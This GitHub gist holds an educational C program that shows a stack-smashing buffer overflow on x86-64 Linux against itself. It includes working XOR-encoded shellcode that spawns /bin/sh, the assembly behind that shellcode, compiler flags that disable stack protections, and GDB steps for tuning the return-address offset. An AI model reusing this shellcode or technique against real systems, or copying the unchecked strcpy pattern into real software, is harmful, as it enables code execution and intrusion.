Skip to content

Instantly share code, notes, and snippets.

@logiconcepts819
Last active May 12, 2016 03:27
Show Gist options
  • Select an option

  • Save logiconcepts819/c71c8afb6eb248e267737ac56d5f5258 to your computer and use it in GitHub Desktop.

Select an option

Save logiconcepts819/c71c8afb6eb248e267737ac56d5f5258 to your computer and use it in GitHub Desktop.
An example of a stack smash buffer overflow on an x86-64 Linux OS
/**
* An example of a stack smash buffer overflow on an x86-64 Linux OS
* Author: Ronald Joseph Wright
*
* Recommended build command (after exploit is working):
*
* gcc -O0 -zexecstack -fno-stack-protector -o stack-smash stack-smash.c
**/
#include <stdint.h>
#include <string.h>
/**
* 76-byte long shellcode that executes a new shell. The first 23 bytes are
* 64-bit instructions that XOR the remaining 53 bytes of the actual
* XOR-encoded shellcode to be executed. (An XOR loader is necessary, since the
* unencoded shellcode contains null characters, which strcpy would interpret
* as null-termination characters if the unencoded shellcode were used
* directly.)
*
* Here is the assembly code for the 64-bit XOR loader (based off of the 32-bit
* XOR loader from ShellForge, valid for shellcode sizes less than 256 bytes
* only):
*
* .text
* .align 8
* .globl main
* .type main,@function
*
* main:
* jmp .l2
* .l1:
* pop %rsi
* xorq %rcx, %rcx
* movb LENGTH, %cl
* .loop:
* xorb XORKEY, (%rsi)
* incq %rsi
* loop .loop
* jmp .l3
* .l2:
* call .l1
* .l3:
* #SHELLCODE HERE
*
* The above code assembles into
*
* "\xeb\x10\x5e\x48\x31\xc9\xb1" LENGTH "\x80\x36" XORKEY
* "\x48\xff\xc6\xe2\xf8\xeb\x05\xe8\xeb\xff\xff\xff"
*
* In this case, XORKEY is set to "\x40" (or 0x40), and LENGTH is set to "\x35"
* (or 53). Everything that follows is the shellcode whose bytes were xor'd
* with XORKEY.
*
* The NASM assembly code corresponding to the XOR-encoded shellcode is as
* follows:
*
* global _start
* _start:
* push 0 ; ensure string is null-terminated
* mov rax, 68732f2f6e69622fh ; "/bin//sh"
* push rax ; push "/bin//sh" onto stack
* mov rbx, rsp ; pointer to "/bin//sh\0"
* push 0 ; push NULL onto stack
* push rbx ; push pointer to "/bin//sh\0" onto stack
* mov rdx, 0h ; NULL
* mov rsi, rsp ; pointer to {pointer to "/bin//sh\0", NULL}
* mov rdi, rbx ; pointer to "/bin//sh\0"
* mov rax, 59 ; system call number (sys_execve)
* syscall
* add rsp, 32 ; restore the stack pointer
* mov rdi, 0 ; successful exit status code
* mov rax, 60 ; system call number (sys_exit)
* syscall
*
* The above code assembles into
*
* "\x6a\x00\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe3\x6a\x00"
* "\x53\xba\x00\x00\x00\x00\x48\x89\xe6\x48\x89\xdf\xb8\x3b\x00\x00\x00\x0f"
* "\x05\x48\x83\xc4\x20\xbf\x00\x00\x00\x00\xb8\x3c\x00\x00\x00\x0f\x05"
*
* Xor'ing this using XORKEY of 0x40 results in the following byte string:
*
* "\x2a\x40\x08\xf8\x6f\x22\x29\x2e\x6f\x6f\x33\x28\x10\x08\xc9\xa3\x2a\x40"
* "\x13\xfa\x40\x40\x40\x40\x08\xc9\xa6\x08\xc9\x9f\xf8\x7b\x40\x40\x40\x4f"
* "\x45\x08\xc3\x84\x60\xff\x40\x40\x40\x40\xf8\x7c\x40\x40\x40\x4f\x45"
*
* Concatenating the XOR loader and the above byte string together results in
* the shellcode in the assignment shown below.
**/
char shellcode[] = "\xeb\x10\x5e\x48\x31\xc9\xb1\x35\x80\x36\x40\x48\xff\xc6"
"\xe2\xf8\xeb\x05\xe8\xeb\xff\xff\xff\x2a\x40\x08\xf8\x6f"
"\x22\x29\x2e\x6f\x6f\x33\x28\x10\x08\xc9\xa3\x2a\x40\x13"
"\xfa\x40\x40\x40\x40\x08\xc9\xa6\x08\xc9\x9f\xf8\x7b\x40"
"\x40\x40\x4f\x45\x08\xc3\x84\x60\xff\x40\x40\x40\x40\xf8"
"\x7c\x40\x40\x40\x4f\x45";
/** Size of the shellcode (should be 76) **/
#define SHELLCODE_SIZE (sizeof(shellcode) - 1)
/**
* The size of the buffer on main's stack. As a rule of thumb, it should be an
* integer that is both divisible by 8 and greater than or equal to the size of
* the shellcode. I have this value set to the smallest integer that satisfies
* that rule of thumb (i.e., 8 * ceil((shellcode size) / 8) = 80).
**/
#define BUFFER_SIZE (8 * ((SHELLCODE_SIZE + 7) / 8))
/**
* SHELLCODE_ADDR_OFFSET is the offset from the start of the shellcode on the
* stack to the return address of the caller, which is to be set to the address
* of the shellcode on the stack. YMMV, so please use GDB to change this
* parameter if you get a segfault instead of a new shell. Essentially, you are
* looking for the difference between the rsp from the start of the shellcode
* (after strcpy and before the return) to rsp at the segfault (after the
* return). If you get neither a segfault nor a new shell, the define value is
* most likely too small, and you will need to set it to some larger integer
* and then use GDB as necessary to change this parameter. It should be noted
* that this exploit will most likely not work if the 80-byte buffer on main's
* stack has an address of less than 0x100000000000.
*
* Here are instructions on finding the right value for
* SHELLCODE_ADDR_OFFSET (based on a write-up from
* https://www.exploit-db.com/docs/33698.pdf):
*
* 1) Run:
*
* gcc -g3 -O0 -zexecstack -fno-stack-protector -o stack-smash stack-smash.c
*
* and then run
*
* gdb ./stack-smash
*
* 2) Set a breakpoint at the line corresponding to "return 0;".
* 3) Run the program by typing r and then the enter key.
* 4) Run the following command:
*
* x/20xg $rsp
*
* Find the memory location corresponding to the beginning of the shellcode
* (in this case, the memory location corresponding to the value
* 0xb1c931485e9011eb) and write it down.
* 5) Continue execution by typing c and then the enter key. If the define
* value in the corresponding source is not set correctly for the current
* machine (and is large enough), you should get a segfault.
* 6) Run the following command:
*
* i r
*
* and find and write down the value of the rsp register. Take the
* difference of the two values that you wrote down, and set the
* SHELLCODE_ADDR_OFFSET value in this source file to this difference.
* 7) Exit gdb, recompile, and try it out! (If you still get segfaults, then
* perhaps the 80-byte buffer on main's stack isn't large enough to fit the
* shellcode, in which case the shellcode is clobbering the region on the
* overflow buffer where the shellcode address is supposed to be. In that
* case, try increasing the size of the buffer to some other integer
* divisible by 8 and repeat all of the above steps.)
*
* After finding the right size for the exploit, it is recommended that no
* optimization flags are specified when you make further builds of this
* program (or you could just use -O0).
*
* On an x86-64 Linux OS, the stack layout would look like this:
*
* +----------------------------+
* | buffer[ 7.. 0] | .
* +----------------------------+ /|\
* | ... | |
* +----------------------------+ |
* | buffer[79..72] | |
* +----------------------------+
* | caller's rbp saved by main | CALLEE (i.e., main)
* +----------------------------+-------------------------
* | return address | CALLER/CALLEE INTERFACE
* +----------------------------+-------------------------
* | ... | CALLER
* +----------------------------+
*
* The objective is to store the address of our shellcode into the memory
* location corresponding to the return address, which is originally set to the
* address of the instruction following the call in the caller. To do that in a
* buffer overflow, we store it at an offset (from the start of the buffer)
* equal to the size of the caller's rbp saved by main (which is 8) plus the
* buffer size. By changing the return address, we end up executing shellcode
* instead of whatever comes after the system's call to main. As an example,
* for our 80-byte buffer stored on main's stack, we would need to store the
* shellcode address at 80 + 8 = 88 bytes past the start of the payload.
**/
#define SHELLCODE_ADDR_OFFSET (BUFFER_SIZE + sizeof(intptr_t))
/**
* The size of our payload, which, in this case, adds up to 80 + 8 + 8 = 96
* bytes
**/
#define PAYLOAD_SIZE (SHELLCODE_ADDR_OFFSET + sizeof(intptr_t))
/**
* The payload slightly longer than the 96-byte buffer on main's stack that
* contains our shellcode
**/
char payload[PAYLOAD_SIZE + 1];
int main(void)
{
/* The buffer to overflow */
char buffer[BUFFER_SIZE];
/* Set up exploit */
memset(payload, 'A', PAYLOAD_SIZE);
payload[PAYLOAD_SIZE] = '\0';
* (intptr_t *) (payload + PAYLOAD_SIZE - sizeof(intptr_t)) =
(intptr_t) buffer;
memcpy(payload, shellcode, strlen(shellcode));
/* Execute exploit */
strcpy(buffer, payload);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment